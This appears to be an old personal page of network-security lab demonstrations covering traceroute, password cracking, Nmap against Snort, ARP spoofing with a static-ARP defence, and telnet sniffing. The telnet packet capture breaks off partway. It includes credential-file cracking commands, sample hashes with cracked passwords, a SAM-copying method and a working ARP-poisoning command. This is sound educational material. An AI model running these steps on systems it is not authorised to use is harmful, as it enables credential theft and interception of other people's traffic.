Last Updated: unknown
Michael Ligh (michael.ligh@mnin.org)
These are quick demonstrations of the concepts we often read about. We'll explore some characteristics of the Internet protocols, exploit tools, defense mechanisms and so on. They are not designed to be all inclusive. For excruciating details we expect readers to be ambitious and research any unanswered questions. In general, these projects get more complex toward the end, and, of course, the latest experiments will continually be appended.
Traceroute lets us see the route that IP datagrams take from one host to another. It relies on ICMP and the TTL value in the IP header. The TTL (time-to-live) is an 8-bit field set to some initial value by the sender. Each router along the way decrements this value by 1. It must not, however, forward the datagram if the TTL has reached 0 or 1. In this case the router must discard the datagram and send an ICMP "time exceeded in transit" error message to the originating host. This is a simple mechanism to prevent datagrams from infitintely looping around the Internet.
So, now we can probably guess the operation of traceroute. The originating host sends a datagram with a TTL of 1 to the destination address, which will cause the first router along the way to decrement the TTL, discard the datagram, and return an ICMP error message (thus exposing the address of this router). It then sends a datagram with a TTL of 2 and records the second router's IP address. This continues until the datagram reaches the destination host. But even though the arriving datagram has a TTL of 1, the destination host will not discard it and generate any errors, since the datagram has in fact reached its final destination. However, if this datagram we have mentioning is addressed to an unused UDP port (which it is), the destination machine will generate an ICMP "port unreachable" error instead. This is how traceroute knows when it is done - it simply distinguishes between ICMP time exceeded and port unreachable errors.
Traceroute will not be completed correctly if the destination host does not have a working UDP module or if the port to which the datagram is addressed happens to be open (chances of this are reduced by using values larger than 30,000). The Windows version of traceroute uses a different, but similar mechanism. It will send echo requests to the destination hosts with the same TTL pattern. It knows when it has reached the end by distinguishing by ICMP time exceeded errors and echo replies. Of course, if the destination host blocks or filters echo requests, no reply will be sent, and traceroute will not complete.
So, the purpose of this is not to explain traceroute but to examine a priciple of the underlying protocol - IP. There are no guarantee's that two consecutive datagrams from the same source to the same destination take the same route (though most do). Nor does the protocol’s specification make any guarantee that packets from source A to destination B will take the exact reverse route from source B back to destination A. This is proof it wasn’t kidding. We selected a host in Virginia and a host in Connecticut and will use the Windows version of the traceroute program to demonstrate. First we trace the route from VA to CT:
C:> tracert winxp.loc.ct (from winme.rmt.va) Tracing route to winxp.loc.ct [64.252.169.108] over a maximum of 30 hops: 1 <10 ms <10 ms <10 ms 192.168.0.1 2 <10 ms 14 ms 14 ms 10.226.96.1 3 14 ms 14 ms <10 ms bic02-p1-0-0.richhe1.va.attbb.net [24.30.224.157] 4 14 ms 14 ms <10 ms btr02-p0-2.richhe1.va.attbb.net [24.30.224.82] 5 14 ms 13 ms 14 ms btr01-p1-0.richhe1.va.attbb.net [24.30.224.9] 6 13 ms 14 ms 14 ms 12.124.234.113 7 13 ms 14 ms 14 ms gbr6-p80.wswdc.ip.att.net [12.123.9.62] 8 <10 ms <10 ms 27 ms tbr1-p013801.wswdc.ip.att.net [12.122.11.173] 9 13 ms 14 ms 14 ms 12.123.9.113 10 <10 ms 14 ms 14 ms att-gw.dc.sprint.net [192.205.32.166] 11 14 ms 13 ms 14 ms sl-bb24-rly-15-3.sprintlink.net [144.232.20.20] 12 14 ms 27 ms 27 ms sl-bb23-nyc-13-0.sprintlink.net [144.232.18.238] 13 14 ms 27 ms 28 ms sl-gw31-nyc-0-0.sprintlink.net [144.232.13.32] 14 27 ms 28 ms 27 ms sl-swb-40-0.sprintlink.net [144.223.26.202] 15 41 ms 27 ms 28 ms bb1-p8-0.mrdnct.sbcglobal.net [151.164.241.70] 16 28 ms 27 ms 28 ms dist1-vlan40.mrdnct.sbcglobal.net [66.159.184.113] 17 41 ms 42 ms 27 ms bras1-g9-0.mrdnct.snet.net [66.159.184.240] 18 * * * Request timed out. 19 * * * Request timed out. 20 * * * Request timed out. 21 * * * Request timed out. 22 * * * Request timed out. 23 * * * Request timed out. 24 * * * Request timed out. 25 * * * Request timed out. 26 * * * Request timed out. 27 * * * Request timed out. 28 * * * Request timed out. 29 * * * Request timed out. 30 * * * Request timed out. Trace complete.
The first hop is the default router/gateway for winme.rmt.va, to which it is directly connected. Next is one of the cable provider's internal routers - probably where the other end of our modem leads. Then we pass through (among others) links in Richmond, D.C., New York, and finally Connecticut. Despite the ‘Trace complete.’ message in the first trace, it never completed. Instead we see a series of Request Timed Out messages, which are represented by asterisks and occur if no response is recieved within 5 seconds. This is probably because our network is built to deny echo requests. It does not reply and thus the traceroute program does not believe it has reached the end. Had there not been a maximum of 30 hops set, the host winme.rmt.va would continue. Now we trace the route from CT back to VA:
C:\> tracert winme.rmt.va (from winxp.loc.ct) Tracing route to winme.rmt.va [24.125.37.45] over a maximum of 30 hops: 1 >1 ms <1 ms <1 ms 192.168.1.1 2 15 ms 15 ms 16 ms bras1-l0.mrdnct.snet.net [204.60.4.34] 3 13 ms 15 ms 16 ms dist2-vlan60.mrdnct.sbcglobal.net [66.159.184.227] 4 15 ms 15 ms 14 ms bb1-g5-0.mrdnct.sbcglobal.net [66.159.184.99] 5 18 ms 18 ms 18 ms bb1-p9-0.nycmny.sbcglobal.net [151.164.241.69] 6 17 ms 18 ms 18 ms sl-gw31-nyc-11-0.sprintlink.net [144.223.26.201] 7 17 ms 18 ms 19 ms sl-bb23-nyc-12-0.sprintlink.net [144.232.13.33] 8 18 ms 18 ms 18 ms sl-bb20-nyc-8-0.sprintlink.net [144.232.7.13] 9 16 ms 18 ms 18 ms 144.232.18.226 10 21 ms 18 ms 17 ms tbr2-p012202.n54ny.ip.att.net [12.123.1.126] 11 38 ms 31 ms 31 ms tbr2-cl1.wswdc.ip.att.net [12.122.10.54] 12 30 ms 31 ms 31 ms gbr5-p40.wswdc.ip.att.net [12.122.11.186] 13 31 ms 31 ms 31 ms gar2-p360.wswdc.ip.att.net [12.123.9.57] 14 35 ms 34 ms 34 ms 12.124.234.114 15 30 ms 32 ms 31 ms btr02-p1-0.richhe1.va.attbb.net [24.30.224.10] 16 33 ms 31 ms 34 ms ubr01-p1-0.pumphe1.va.attbb.net [24.30.224.81] 17 34 ms 33 ms 34 ms btr02-p0-0.richhe1.va.attbb.net [24.30.224.158] 18 42 ms 44 ms 41 ms c-24-125-37-45.va.client2.attbi.com [24.125.37.45] 19 57 ms 44 ms 44 ms c-24-125-37-45.va.client2.attbi.com [24.125.37.45] Trace complete.
No router is present in both traces, though the packets do pass through the same domains (sprint links in NYC, attbi links in VA, sbc links in CT). This demonstrates the dynamic nature and complexity of IP routing. We can alter the flow of datagrams to be trasmitted with IP by setting loose or strict source routing options. This will be the topic of a future s-p-o-c.
Info Source: TCP/IP Illustrated Vol.1 by W. Richard Stevens
For this project we will try decrypting a few Windows and Unix password hashes. We will use the L0phcrack tool from @stake, [1] and John the Ripper from Openwall, [2] to audit user and administrator passwords.
On a Unix system, the files we’re concerned with are /etc/passwd and /etc/shadow. We have to combine these into a readable format before running John the Ripper against them, so:
[root@sp.loc.ct run]# ./unshadow /etc/passwd /etc/shadow > pwlist.1
Here is an example of pwlist.1 before auditing: (usernames and passwords were changed after this test). Fields are separated by a colin - first is the username, then the encrypted password, the UID, the GID, user's full name, home directory, and login shell (if one exists).
root:$1$XtuI2Yaf$d5LUKOj96W7fuAkV4chd9/:0:0:root:/root:/bin/bash bmh:$1$kGcWhnmv$Z7hgqcFGYfpcG/NDTvUvD1:501:501:michael:/home/bmh:/bin/bash bw:$1$nF$N.t/2tgDgtlccMADFuWhU/:599:599:brett:/home/mailusers/bw:/sbin/nologin mad:$1$63507383$P6faXIyJ88BvdaU6sZaq4.:598:599:mom&dad:/home/mailusers/mad:/sbin/nologin dag:$1$63510200$F/YOjlRfCfTuBEQ1t7.Je1:597:599:dan&gwen:/home/mailusers/dag:/sbin/nologin sm:$1$63554595$egTPjeTfb3jUYHqphs.Kd/:596:599:shaun:/home/mailusers/sm:/sbin/nologin jbm:$1$BA$XI1RlDoeqJGaso4odImTL/:595:599:jon:/home/mailusers/jbm:/sbin/nologin cm:$1$Dw$DoJvCWvFXEBdrkcQMYIWS1:594:599:charlie:/home/mailusers/cm:/sbin/nologin
Now we’re ready to run John in its default configuration, which uses single-crack mode first, then a wordlist with rules, then moves into incremental mode, so:
[root@sp.loc.ct run]# ./john pwlist.1 Loaded 8 passwords with 8 different salts (FreeBSD MD5 [32/32]) d4ngw3n (dag) m0md4d (mad) changeme (sm) dragon1 (jbm)
Within a minute of executing John we recover 4/8 passwords. Oh, and I think I remember setting user sm’s password as ‘changme.’ Apparently they didn’t listen. What we immediately learn is that dictionary words, slightly modified with numbers and/or symbols are cracked in the same amount of time (perhaps even quicker) as pure dictionary words. For example, John deciphered m0md4d (momdad) and d4ngw3n (dangwen) before dragon1.
It appears the final 4 passwords will be more difficult. John has most likely entered incremental mode by now and is going its 6th hour of CPU time. Meanwhile, we can examine L0phtcrack’s progress running on the Windows machine.
User Name NTLM Pw NTLM Hash Audit Time Administrator w0rkstati0n 6461B89F01C3F502ADF5E318DDED8B95 0d 1h 3m 10s michael hale mnin4617 CAA5F6EF1922D7223ACD6C9DC0BACC7B 0d 4h 56m 24s
By the 5th hour of CPU time, L0phtcrack had decrypted both of the system’s passwords – the Administrator’s in little over an hour. The good news is - if the hash file is to be imported from the local machine, a user must already have administrator access prior to running L0phtrack (on SYSKEY enabled versions of Windows, that is).
For example, assume we want to login to a SYSKEY enabled machine on which we have physical access but no user IDs or passwords. Our concern is to retrieve the SAM file, but the operating system has it locked down. So, we bring our bootable floppy and copy the SAM file to the disk. SAM is the file usually stored in C:\WINDOWS\system32\config\ that contains usernames and password hashes. We then import the SAM file into a L0phtcrack session on our home computer and begin the audit. What will probably happen is us waiting several hours and getting no results. The problem is that L0phtcrack cannot decrypt password hashes encrypted with SYSKEY. We can see the difference this extra layer of encryption has on our hash file:
Administrator(w/o SYSKEY): 6461B89F01C3F502ADF5E318DDED8B95 Administrator(with SYSKEY): CE44549C58F265C3DFF9213CB861064C michael hale(w/o SYSKEY): CAA5F6EF1922D7223ACD6C9DC0BACC7B michael hale(with SYSKEY): 8FEB0ABEF7BDC82915DE2B6465956E84
We've done more research on password guessing that can be viewed by clicking Password Guessing.
This is a demonstration using the Nmap network mapper to gather some information about a computer system. At the same time we’ll run Snort’s IDS on the remote machine to detect the scans. Then we'll make a quick assessment as to which side of the fence (or should we say firewall) has the advantage.
Our scanning system will be drake.rmt.va, a Mandrake Linux machine at 24.125.37.45. The system being scanned is rh.loc.ct, a Redhat Linux firewall and gateway router for a small domain at 64.252.169.108.
[root@drake.rmt.va /]# nmap –sS –P0 –O –v –p 1-65535 rh.loc.ct > ~/scan.txt & nmap call the program -sS use SYN stealth method (TCP half-open) -P0 do not ping the host first (our host will deny echo requests anyway) -O attempt to fingerprint the operating system -p scan listed port range (we want to scan them all) > redirect stdout to file & run this program in the background (gives our shell back) Starting nmap 3.30 (http://www.insecure.org/nmap/ ) at 2003-09-16 10:49 EDT Host 108.169.252.64.snet.net (64.252.169.108) appears to be up ... good. Initiating SYN Stealth Scan against 108.169.252.64.snet.net (64.252.169.108) at 10:49 Adding open port 3389/tcp Adding open port 4618/tcp Adding open port 443/tcp Adding open port 80/tcp Adding open port 25/tcp Adding open port 22222/tcp Adding open port 10000/tcp Adding open port 21/tcp Adding open port 65000/tcp The SYN Stealth Scan took 11726 seconds to scan 65535 ports. For OSScan assuming that port 21 is open and port 1 is closed and neither are firewalled For OSScan assuming that port 21 is open and port 1 is closed and neither are firewalled For OSScan assuming that port 21 is open and port 1 is closed and neither are firewalled Interesting ports on 108.169.252.64.snet.net (64.252.169.108): (The 65526 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 25/tcp open smtp 80/tcp open http 443/tcp open https 3389/tcp open ms-term-serv 4618/tcp open unknown 10000/tcp open snet-sensor-mgmt 22222/tcp open unknown 65000/tcp open unknown Device type: broadband router|general purpose|router Running (JUST GUESSING) : Siemens embedded (91%), Linux 2.4.X|2.5.X (90%), FreeSCO Linux 2.0.X (90%), Draytek embedded (90%), Panasonic embedded (85%) Aggressive OS guesses: Siemens Speedstream 2602 DSL/Cable router (91%), Linux kernel 2.4.20 (90%), Linux kernel 2.4.18 (x86) (90%), FreeSCO 0.27 (Linux kernel 2.0.38) (90%), Draytek Vigor 2200e DSL router v2.1b (90%), Linux kernel 2.2.16 (90%), Microsoft Xbox running Debian Linux 2.4.20 (86%), Linux Kernel 2.4.0 - 2.5.20 (86%), Panasonic IP Technology Broadband Networking Gateway, KX-HGW200 (85%) No exact OS matches for host (test conditions non-ideal). Uptime 2.289 days (since Sun Sep 14 07:16:52 2003) TCP Sequence Prediction: Class=random positive increments Difficulty=5107981 (Good luck!) IPID Sequence Generation: All zeros Nmap run completed -- 1 IP address (1 host up) scanned in 12169.334 seconds
Did the scan report accurately? Yes, the 9 open ports correspond to the 9 Internet-based services available from the domain scanned. No more, no less. The services labeled “unknown” are not intended for general public use and are thus an attempt to hide – a normal Nmap scan (without the –p 1-65535) will not detect these ports because they are irregular.
Though Nmap reports non-ideal conditions for operating system fingerprinting, it guessed the operating system, kernel version, and platform with a 90% accuracy [Linux 2.4.x|2.5.x and Linux kernel 2.4.18 (x86)]. This is possible because the TCP/IP implementations on each operating system differ slightly and Nmap has a rather comprehensive database of these unique characteristics.
Uptime is incorrectly guessed by Nmap. It reports that the system has been up for a little over 2 days, when it had been up for almost two weeks. This is usually a value obtained by examining the TCP timestamp option field of a packet from the host being scanned. Apparently, the host being scanned does not assign TCP timestamp values according to the algorithm expected by Nmap; or Nmap calculated improperly.
Next, Nmap rates the difficulty of which a connection could be hijacked by predicting the remote host’s sequence numbers. The high classification is not surprising considering the fairly modern kernel and TCP/IP stack. Numerous attacks exploited this vulnerability in the past and it has since been strengthened immensely. [Or has it? We've just added some new research on session hijacking.]
Now, we turn around and look at the reconnaissance attempt from the host
being scanned’s point of view.
Using the default rule set for Snort 2.0.1 the following types of alerts were
generated:
09/16-18:11:30.262956 [**] [111:10:1] (spp_stream4) STEALTH ACTIVITY (XMAS scan) detection [**] {TCP} 24.125.37.45:54641 -> 64.252.169.108:1
09/16-18:11:30.262262 [**] [1:628:2] SCAN nmap TCP [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:54589 -> 64.252.169.108:21
09/16-18:11:30.260370 [**] [111:9:1] (spp_stream4) STEALTH ACTIVITY (NULL scan) detection [**] {TCP} 24.125.37.45:54640 -> 64.252.169.108:21
09/16-18:01:18.080833 [**] [117:1:1] (spp_portscan2) Portscan detected from 24.125.37.45: 1 targets 101 ports in 4 seconds [**] {TCP} 24.125.37.45:53783 -> 64.252.169.108:18982
09/16-17:58:48.666845 [**] [1:1420:2] SNMP trap tcp [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:52838 -> 64.252.169.108:162
09/16-15:17:52.529662 [**] [1:1418:2] SNMP request tcp [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:62003 -> 64.252.169.108:161
09/16-16:43:18.138423 [**] [1:249:2] DDOS mstream client to handler [**] [Classification: Attempted Denial of Service] [Priority: 2] {TCP} 24.125.37.45:27071 -> 64.252.169.108:15104
09/16-16:38:23.207703 [**] [1:620:3] SCAN Proxy (8080) attempt [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:25340 -> 64.252.169.108:8080
09/16-15:53:15.325410 [**] [1:1421:2] SNMP AgentX/tcp request [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 24.125.37.45:9266 -> 64.252.169.108:705
We see several false positives in Snort’s output since many rules are based on destination port only. For example, there was no “DDOS mstream client to hander” traffic involved in the scan, but the alert indicates there was, because of interaction with port 15401.
Why is this threatening? drake.rmt.va just mapped our domain, including the services assigned high ports in the best attempt to stay hidden from attackers. It has a shaded, but more than clear estimate of our operating system, machine type, and kernel version. With a bit more work it could discover the very versions of the services listening on the open ports and begin preparing specific exploits. For this reason we are working on a real-time firewalling script that blocks access to our domain after a certain number of dropped packets. Stay tuned it will surface shortly.
On the other end, all we gained by running one of the most advanced intrusion detection systems is a few hundred alerts of variable accuracy. We do have the IP address of the scanning host, however if drake.rmt.va used the –D (decoy) option we would not even be this lucky. Our comparison of attacker to defender is thus well skewed in the direction of the attacker.
This is a demonstration of how the ARP protocol can be used to trick a computer into sending packets to the wrong destination. This can be done on almost all local area networks, many cable networks, and basically any other network on which ARP is utilized. First let us get acquainted with the participants on our sample network:
Purpose IP Address MAC Address Culprit 192.168.1.1 00:04:5A:80:DB:54 Real Destination 192.168.1.100 00:50:2C:05:6B:A9 Victim 192.168.1.108 00:E0:4C:A3:6F:57
We will first need to temporarily bring down the Real Destination. This is typically accomplished with a DoS technique or similar means, however this is not a demonstration of a DoS, so we will simply disconnect its network connection. We should wait a few minutes until we are sure Victim’s ARP cache has timed out before continuing.
When Victim has packets to send to the Real Destination it will broadcast an ARP request to the entire network. If things go right, Real Destination will recognize its IP address, enter its MAC address, and reply to Victim with the resolved query. Unfortunately, Culprit springs into action when it receives the broadcast ARP request from Victim; and replies to the ARP request with Real Destination’s IP address but its own MAC address.
This causes any traffic from Victim to Real Destination in the future to go directly to Culprit instead. Of course, the packets will be rejected by Culprit at the network layer since they are incorrectly addressed, however all we need are the packets to arrive at the data-link level to capture all its contents. This is a packet-switched network so simply putting a device into promiscuous mode will not capture all data on the wire. Real Destination has no opportunity to interfere because it is strangely experiencing some down time.
To be sure of our starting point, we check the ARP cache on Victim:
[root@victim /] arp –a ? (192.168.1.2) at 00:06:25:70:72:89 [ether] on eth0 ? (192.168.1.1) at 00:04:5A:80:DB:54 [ether] on eth0 ? (192.168.1.103) at 00:B0:D0:E8:4E:C4 [ether] on eth0 ? (192.168.1.100) at <incomplete> on eth0 ? (192.168.1.101) at 00:50:BA:B7:91:10 [ether] on eth0
In a good position, we issue the following command on Culprit:
[root@culprit /]# nemesis arp –v –S 192.168.1.100 –D 192.168.1.108 \ –h 00:04:5A:80:DB:54 –m 00:E0:4C:A3:6F:57 –H \ 00:04:5A:80:DB:54 –r -M 00:E0:4C:A3:6F:57 ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22) [MAC] 00:80:AD:87:67:67 > 00:04:5A:80:DB:54 [Ethernet type] ARP (0x0806) [Protocol addr:IP] 192.168.1.100 > 192.168.1.108 [Hardware addr:MAC] 00:80:AD:87:67:76 > 00:04:5A:80:DB:54 [ARP opcode] Reply [ARP hardware fmt] Ethernet (1) [ARP proto format] IP (0x0800) [ARP protocol len] 6 [ARP hardware len] 4 Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB. ARP Packet Injected
Command line options and key:
nemesis call the program arp select the module (protocol) -v be verbose -S source IP address to appear in ARP reply -D destination IP address to appear in ARP reply -h source MAC address to appear in ARP reply -m destination MAC address to appear in ARP reply -r enable ARP reply -H source MAC address for data-link header -M destination MAC address for data-link-header
Did it work? Lets check the ARP cache on Victim again before continuing:
[root@victim /]# arp –a ? (192.168.1.2) at 00:06:25:70:72:89 [ether] on eth0 ? (192.168.1.1) at 00:04:5A:80:DB:54 [ether] on eth0 ? (192.168.1.103) at 00:B0:D0:E8:4E:C4 [ether] on eth0 ? (192.168.1.100) at 00:04:5A:80:DB:54 [ether] on eth0 ? (192.168.1.101) at 00:50:BA:B7:91:10 [ether] on eth0
Bingo! Victim should now deliver all packets for IP address 192.168.1.100 (Real Destination) to the MAC address 00:04:5A:80:DB:54, which belongs to Culprit. As the last step, we’ll test this theory by simply pinging Real Destination from Victim; and run tcpdump on Culprit to see if they arrive or not. So:
[root@culprit /]# tcpdump –i eth1 > tcpdump.txt tcpdump: listening on eth1 [root@victim /]# ping –c 2 192.168.1.100 PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data. From 192.168.1.1: icmp_seq=2 Redirect Host(New nexthop: 192.168.1.100) --- 192.168.1.100 ping statistics --- 2 packets transmitted, 0 received, 100% packet loss, time 999ms [root@culprit /]# cat tcpdump.txt 13:46:03.687181 192.168.1.108 > 192.168.1.100: icmp: echo request (DF) 13:46:03.687258 192.168.1.108 > 192.168.1.100: icmp: echo request (DF) 13:46:04.687047 192.168.1.108 > 192.168.1.100: icmp: echo request (DF) 13:46:04.687093 192.168.1.1 > 192.168.1.108: icmp: redirect 192.168.1.100 to host 192.168.1.100 [tos 0xc0] 13:46:04.687099 192.168.1.108 > 192.168.1.100: icmp: echo request (DF) 13:46:08.687178 arp who-has 192.168.1.100 tell 192.168.1.108 13:46:09.687222 arp who-has 192.168.1.100 tell 192.168.1.108 13:46:10.687261 arp who-has 192.168.1.100 tell 192.168.1.108 13:46:11.687304 arp who-has 192.168.1.100 tell 192.168.1.108 13:46:12.687349 arp who-has 192.168.1.100 tell 192.168.1.108 13:46:13.687389 arp who-has 192.168.1.100 tell 192.168.1.108
Most definitely – Victim (at 192.168.1.108) sent the packets for Real Destination (at 192.168.1.100) to Culprit instead. Because Culprit is a router, it sends back an ICMP redirect to Victim letting it know there is a shorter path to its destination than the one it chose to take. Normally, in these attacks the Culprit is a host itself and not a router so these messages would not be generated.
After receiving the ICMP redirect, Victim continues to send its messages to our Culprit, because the MAC address in Victim’s ARP cache still maps back to us. To understand the significance of this attack we must assume Victim has something more valuable than ping packets to send Real Destination. If we chose our Victim carefully, this would be a likely scenario.
Once we gather the packets we were expecting we can ease up the DoS attack on Real Destination (or in this case – plug it back in). The network will reconfigure itself and transmissions will resume normally.
Here is an example of a simple script that prevents ARP spoofing attacks on networks by creating a static (un-alterable) ARP table at bootstrap. Once created, these tables will not be overwritten by malicious packets trying to deter traffic.
# Your network prefix PRE=192.168.1. # Hostnames and IP addresses FW=1 LNK=2 WK=100 SV=101 MA=103 SP=108 # Hostnames and hardware addresses FW_MAC=00:04:5A:80:DB:54 LNK_MAC=00:06:25:70:72:89 WK_MAC=00:50:2C:05:6B:A9 SV_MAC=00:50:BA:B7:91:10 MA_MAC=00:B0:D0:E8:4E:C4 SP_MAC=00:E0:4C:A3:6F:57 # Set the ARP table entries arp -s $PRE$FW $FW_MAC arp -s $PRE$LNK $LNK_MAC arp -s $PRE$WK $WK_MAC arp -s $PRE$SV $SV_MAC arp -s $PRE$MA $MA_MAC arp -s $PRE$SP $SP_MAC
We are about to sniff a telnet session and see what can't be captured. Then we'll go off on a tangent and pick apart each byte in the packet payloads and discuss its significance to the session. Telnet is short for telecommunications network protocol. The traditional protocol uses a variant of the 7-bit ASCII character set and transmits messages in plain text. Newer versions support simple encryption asdo more recent remote command protocols such as SSH.
We issue the following command on the client to begin capturing its network traffic. We want to see all packet headers (-dev), log in binary format (-b), and place the log file into pwd (-l .)
[root@fw root]# snort -dev -i eth1 -b -l .
Then from the same host we telnet and login to the server at 192.168.1.100. We choose to display the option negotiations to help interpret things later.
[root@fw root]# telnet telnet> toggle options Will show option processing. telnet> open 192.168.1.100 SENT DO SUPPRESS GO AHEAD SENT WILL TERMINAL TYPE SENT WILL NAWS SENT WILL TSPEED SENT WILL LFLOW SENT WILL LINEMODE SENT WILL-NEWENVIRON SENT DO STATUS SENT WILL XDISPLOC RCVD WILL ECHO SENT DO ECHO login: mike password: password Invalid username or password. login: mike password: easypassword Welcome mike!
We'll use a Berkeley packet filter to strip the log file down to the traffic we really want to see; then comment the important sections:
[root@fw root]# snort -dv -r filename host 192.168.1.100 and port 23
The three connection establishment packets. Connection is established from this point on. We can also note these two hosts are most likely a Windows box (TTL 128), a unix-based box (TTL 64) and that both hosts are on the same network (the packets have do not pass through any routers, else the TTL would be less than 128 or 64).
11/09-19:33:03.665688 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4241 IpLen:20 DgmLen:60 DF ******S* Seq: 0x84DC6FFA Ack: 0x0 Win: 0x16D0 TcpLen: 40 TCP Options (5) => MSS: 1460 SackOK TS: 114589547 0 NOP WS: 0 11/09-19:33:03.665817 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:32993 IpLen:20 DgmLen:64 DF ***A**S* Seq: 0x34A4BAC Ack: 0x84DC6FFB Win: 0xFAF0 TcpLen: 44 TCP Options (9) => MSS: 1460 NOP WS: 0 NOP NOP TS: 0 0 NOP NOP TCP Options => SackOK 11/09-19:33:03.665851 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4242 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC6FFB Ack: 0x34A4BAD Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589548 0
Now the option negotiation packets, which is usually the first exchange in a telnet session. This interaction is symmetric – either side can send a request to the other. Three bytes of data are required for each option. First, the byte 0xff (255 decimal) is called IAC, for “interpret as command.” It lets the telnet program know what to do with the bytes that follow. The second byte indicates a WILL, DO, WONT, or DONT statement. This lets one the involved computers notify the other if it would like to enable or disable any options before the user interaction begins. The final byte is the option ID, specifying which option the host would like to have enabled or disabled.
Each option triplet (from the following packet) and their corresponding meaning (the term sender in this case indicates the telnet client):
FF FD 03 sender wants receiver to enable suppress go ahead option FF FB 18 sender wants to enable terminal type option itself FF FB 1F sender wants to enable window size option itself FF FB 20 sender wants to enable naws option itself FF FB 21 sender wants to enable tspeed option itself FF FB 22 sender wants to enable lflow option itself FF FB 27 sender wants to enable linemode option itself FF FD 05 sender wants receiver to enable status option FF FB 23 sender wants to enable xdisploc option itself 11/09-19:33:03.698805 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4243 IpLen:20 DgmLen:79 DF ***AP*** Seq: 0x84DC6FFB Ack: 0x34A4BAD Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589551 0 FF FD 03 FF FB 18 FF FB 1F FF FB 20 FF FB 21 FF ........... ..!. FB 22 FF FB 27 FF FD 05 FF FB 23 ."..'.....#
Sender (the server is speaking now) wants to enable the echo option itself.
11/09-19:33:03.701845 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:32994 IpLen:20 DgmLen:55 DF ***AP*** Seq: 0x34A4BAD Ack: 0x84DC7016 Win: 0xFAD5 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362325 114589551 FF FB 01 ... 11/09-19:33:03.701901 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4244 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC7016 Ack: 0x34A4BB0 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589551 2362325
Sender (client again) agrees that the receiver (server) should enable the echo option. This is the end of option negotiation.
11/09-19:33:03.705397 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4245 IpLen:20 DgmLen:55 DF ***AP*** Seq: 0x84DC7016 Ack: 0x34A4BB0 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589551 2362325 FF FD 01 ...
Server now prompts user for login name.
11/09-19:33:03.764616 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:32995 IpLen:20 DgmLen:70 DF ***AP*** Seq: 0x34A4BB0 Ack: 0x84DC7019 Win: 0xFAD2 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362325 114589551 1B 5B 31 3B 33 35 6D 0D 0A 0D 0A 6C 6F 67 69 6E .[1;35m....login 3A 20 : 11/09-19:33:03.795764 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4246 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC7019 Ack: 0x34A4BC2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589561 2362325
And so it begins! As specified in the option negotiation transmissions (suppress go ahead and echo, in particular) the telnet session has entered character-at-a-time mode. During this phase, each byte is sent individually; and then it is then echoed by the receiver. The user has entered login name “mike”
11/09-19:33:05.130133 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4247 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC7019 Ack: 0x34A4BC2 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589694 2362325 6D m 11/09-19:33:05.139279 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:32996 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x34A4BC2 Ack: 0x84DC701A Win: 0xFAD1 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362339 114589694 6D m 11/09-19:33:05.139330 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4248 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC701A Ack: 0x34A4BC3 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589695 2362339 11/09-19:33:05.280431 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4249 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC701A Ack: 0x34A4BC3 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589709 2362339 69 i 11/09-19:33:05.327794 192.168.1.100:23 -> 192.168.1.1:34880 TCP TTL:128 TOS:0x0 ID:32997 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x34A4BC3 Ack: 0x84DC701B Win: 0xFAD0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 2362341 114589709 69 i 11/09-19:33:05.327849 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4250 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x84DC701B Ack: 0x34A4BC4 Win: 0x16D0 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114589714 2362341 11/09-19:33:05.460399 192.168.1.1:34880 -> 192.168.1.100:23 TCP TTL:64 TOS:0x10 ID:4251 IpLen:20 DgmLen:53 DF ***AP*** Seq: 0x84DC701B Ack: 0x34A4BC4 Win: 0x16D0 